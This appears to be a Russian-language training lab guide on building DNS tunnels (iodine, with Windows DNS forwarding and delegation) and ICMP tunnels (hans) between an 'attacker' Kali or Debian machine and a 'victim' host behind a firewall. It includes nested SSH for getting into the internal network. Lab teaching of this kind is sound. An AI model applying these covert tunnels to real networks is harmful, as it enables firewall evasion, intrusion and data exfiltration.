---
# System prepended metadata

title: '**DNS туннель + ICMP туннель**'
tags: [DNS+ICMP]

---

# **DNS туннель + ICMP туннель**
###### tags: `DNS+ICMP`
***С помощью данных туннелей можно проникнуть как внутрь организации, так и выйти из нее. Для выполнения данной работы необходимо подготовить следующий стенд (в данной инструкции использовался EVE-NG).***
* Машина атакующего (желательно машина с Kali Linux на борту)
* Машина клиента-жерты (в нашем примере будет Debian)
* Межсетевой экран/маршрутизатор (для имитации защищенной организации, в примере pfsense)
* Коммутатор (любой, в примере cisco)
* Несколько серверов Windows Server для DNS
* 2 машины с Debian для ICMP
****В результате у вас должен быть следующий стенд. Далее разберем по порядку.
![](https://i.imgur.com/jufWCJJ.png)

*Итак, начнем!*
1. Берем нашу инфраструктуру с прошлого урока и добавляем недостающие элементы. 
Необходимо отметить, что для начала, нам достаточно инфраструктуры с предыдущего урока. Но, в будующем нам понадобятся остальные добавленные машины. Также, пару слов про DNS туннель - данный туннель может помочь нам покинуть инфраструктуру, но проникнуть в нее не даст, поэтому для возможности проникнуть внутрь, попробуем также создать внутри туннеля DNS еще один туннель (у нас будет SSH).
Итак, приступаем сразу к настройке DNS туннеля в простом варианте (машина в инфраструктуре - машина содержащая нужное DNS снаружи). 
2. Настройка машины атакующего.
Машиной атакующего будет наша kali с прошлого урока, можно добавить подпись, что это будет наш DNS Tunneling Server. Данный сервер будет отвечать только на DNS запросы и только предназначенные ему. Для реализации всей схемы, нам поможет утилита **iodine**
Итак, запускаем нашу kali, которая будет сервером. Заходим в консоль и выполняем следюущие команды:
    >   **apt update**
    **apt install iodine**
    Данная утилита отвечает только на специальные запросы, которые направлены к ней с клиента(тоже iodine).
    **iodined 10.99.99.1/24 i.example.com**
    Данная команда создаст сервер, который будет принимать запросы только по указанному доменному имени, также необходимо ввести пароль, который нужно будет также ввести на клиенте. Данная команда нужна, для понимания работы утилиты. Далее, мы разберем способ реализации в реалиях существующей инфраструктуры DNS.
    ![](https://i.imgur.com/APitlUN.png)

3. Настройка клиента (атакуемой машины)
    Переходим на машину внутри инфраструктуры (debian), нам необходимо выполнить аналогичные команды + поправить DNS.
    Для этого выполняем следующие команд:
    >    Устанавливаем iodine:
    >    **apt update**
    >    **apt install iodine**
    >    Поправим DNS:
    >    **nano /etc/resolve.conf**
    >    **nameserver <ip адрес внешнего интерфейса атакующей машины(через который выходим в инет)>**
    >    Выходим(Ctrl+X) и сохраняем.
    >    В этом примере это нужно для того, что мы явно знали куда подключаться для создания туннеля.
    ![](https://i.imgur.com/SxJFFhc.png)
    >    Для подключению к серверу используем следующую команду:
    >    **iodine -P 12345 i.example.com**
    >    вместо 12345, необходимо указать ваш пароль.
    >    В результате, клиент должен успешно подключиться к серверу, таким образом создаться туннель.
    >    ![](https://i.imgur.com/Rd9Ws2O.png)
    После подключения, должен появиться новый интерфейс с ip адресом. Проверить это можно с помощью команды ip a.
    
4. На следующем этапе воспроиведем ситуацию на примере проникновения, которое возможно в реальной инфраструктуре.
То есть, данная утилита будет работать с реально существующими DNS серверами, которые отправят запрос к реальному DNS именя(в этом случае необходимо будет приобрести доменное имя, которое будет видно в интернете).
Итак, воспроизведем ситуацию, для этого поднимем DNS сервера, внутри инфраструктуры и снаружи.
Добавляем внутрь инфраструктуры Windows Server (если вы это не сделали вначале), запускаем и заходим в него.
Прежде чем настраивать DNS сервер, в настройках сети выставляем статический IP (я настроил на 192.168.100.100).
![](https://i.imgur.com/InpdMdN.png)
После изменения в консоли сервера выбираем непосредственно запускаем установку DNS сервера, по следующим кнопкам **Manage -> Add roles and features**
![](https://i.imgur.com/QVOjMBK.png)
В открывшемся окне, щелкаем везде далее, кроме выбора роли, там необходимо выбрать DNS и также щелкаем далее.
**В это время можно открыть сервер, который расположен за пределами инфраструктуры и выполнить аналогичные дествия (только также необходим статический ip - можно выставить точно такой же какой дал dhcp, только обязательно перезапустите интерфейс после назначения статики)**
После того, как оба сервера будут установлены, необходимо, чтобы работала пересылка из сервера внутри инфраструктуры на сервер, который знает о DNS именя, к которому будет будключаться клиент. Настроим ее, заходим в консоль и по кнопке **Tools** выбираем **DNS**, в открывшейся консоли, щелкаем правой кнопкой на сам сервер и выбираем **properties**, там выбираем **Forwarders** и добавляем пересылку на наш DNS, который внешний (у меня это 192.168.133.144).
![](https://i.imgur.com/4Bv8acH.png)
Также, в сетевых настройках в разделе DNS укажите 127.0.0.1.
Далее, настраиваем внешний DNS, нам необходимо чтобы он обслуживал DNS зону, которою мы выберем для подключения.
На внешнем DNS также настраиваем **forwarders**, в качестве пересылки указываем адрес 8.8.8.8
В качестве нового имени для DNS туннеля выберем например **tun.hackeru.pro**
И создаем нашу зону на внешнем DNS, которая будет делегировать в имя tun.hackeru.pro
![](https://i.imgur.com/gHdPzyV.png)
Далее, делегируем имя **tun** в наш fake сервер. 
![](https://i.imgur.com/7zSkhr2.png)
Для этого указываем ip в поле делегирования при добавлении, должны быть вот так:
![](https://i.imgur.com/cr9elhT.png)
Затем, заново запускаем сервер iodined и подсключаемся клиентов iodine, но уже к имени tun.hackeru.pro
![](https://i.imgur.com/jRSoCGF.png)
![](https://i.imgur.com/0fy4Phx.png)

Как видим все успешно подключается.

5. Проникновение в инфраструктуру через DNS
Как мы отмечали ранее, использовать данный туннель, для проникновения внутрь инрфраструктуры не получиться использовать только DNS туннель, запросы не будут роутиться через данный интерфейс. Для того, чтобы можно было обращаться внутрь инфраструктуры через DNS интерфейс, необходимо внутри DNS туннеля создать еще один туннель (предварительно настройте возможность проброса на внешний порт - ip4.route + iptables NAT). В этом примере мы будем использовать SSH. Для реализации этого, воспользуйтесь 4 пунктом первой инструкции по SSH - https://hackmd.io/XPJaMYcNSGO5DERAK76cdA . Только в качестве интерфейса выбираем созданный туннель DNS. После настройки SSH туннеля мы сможем отправлять запросы внутрь инфраструктуры.
6. ICMP туннель
Теперь приступаем к настройке ICMP туннеля. Для этого, все машины, что мы использовали ранее можно выключить, нам понадобяться 2 новые Debian машины(одна внутри, другая снаружи инфраструктуры). 
![](https://i.imgur.com/B0TbI4S.png)
На схеме запущены все компоненты, что нам нужны.
Итак, запускаем обе машины, на них, нужно дополнительно произвести следующие манипуляции:
    >  Настраиваем сеть как мы это обычно делаем!!!
    >  Обновляем обе машины:
    >  **apt update
    >  apt upgrade**
    >  Устанавливаем git
    >  **apt install git**
    >  Устанавливаем make
    >  **apt install make**
    >  Устанавливаем g++
    >  **apt install g++**
    >  Устанавливаем net-tools
    >  **apt install net-tools**
На этом предварительные подготовления завершены.

    Приступаем непосредственно к созданию ICMP туннеля. Для этого выполняем следующие команды(также на обоих машинах):
    >  Клонируем утилиту для ICMP туннеля с git
    >  **git clone "https://github.com/friedrich/hans"**
    >  Переходим в клонированную папку
    >  **cd hans/**
    >  Собираем через make
    >  **make**
    
Теперь, у нас все готово к созданию ICMP туннеля:
    На сервере ICMP(машина снаружи) выполняем следующую команду - **./hans -s 10.1.2.0 -p 12345**
    где, -s - ip адрес подсети сервера, можно указать любой удобный вам
    -p - пароль сервера для подключения клиентов.
    В результате выполнения команды на вашем сервере подниметься интерфейс и ему сразу присвоиться ip.
    ![](https://i.imgur.com/oZuW9Af.png)
    Переходим на клиент и запускаем клинет данной утилиты, подключая его к серверу(таким образом создаем ICMP туннель). Вводим следующую команду:
    **./hans -c 192.168.133.146 -p 12345**
    где, 192.168.133.146 - Ip нашего сервера(не ip туннеля!!).
    ![](https://i.imgur.com/yxKv528.png)
Наш туннель создан, мы можем пропинговать друг друга, чтобы удостовериться в том, что связь имееться.
Далее, мы можем организовать клиенту выход наружу, если у нас это ограничено firewall (на сервере настраиваем роутинг + iptables nat + прописываем маршруты). Для того, чтобы попасть внутр инфраструктуры мы опять же можем организовать туннель внутри туннеля (например ssh).
Для выполнения работы использовались следующие инструкции:
https://habr.com/ru/post/331348/ - магия ssh
https://habr.com/ru/post/129097/ - iodine
http://code.gerade.org/hans/ - инструкция hans
https://github.com/friedrich/hans - сам hans

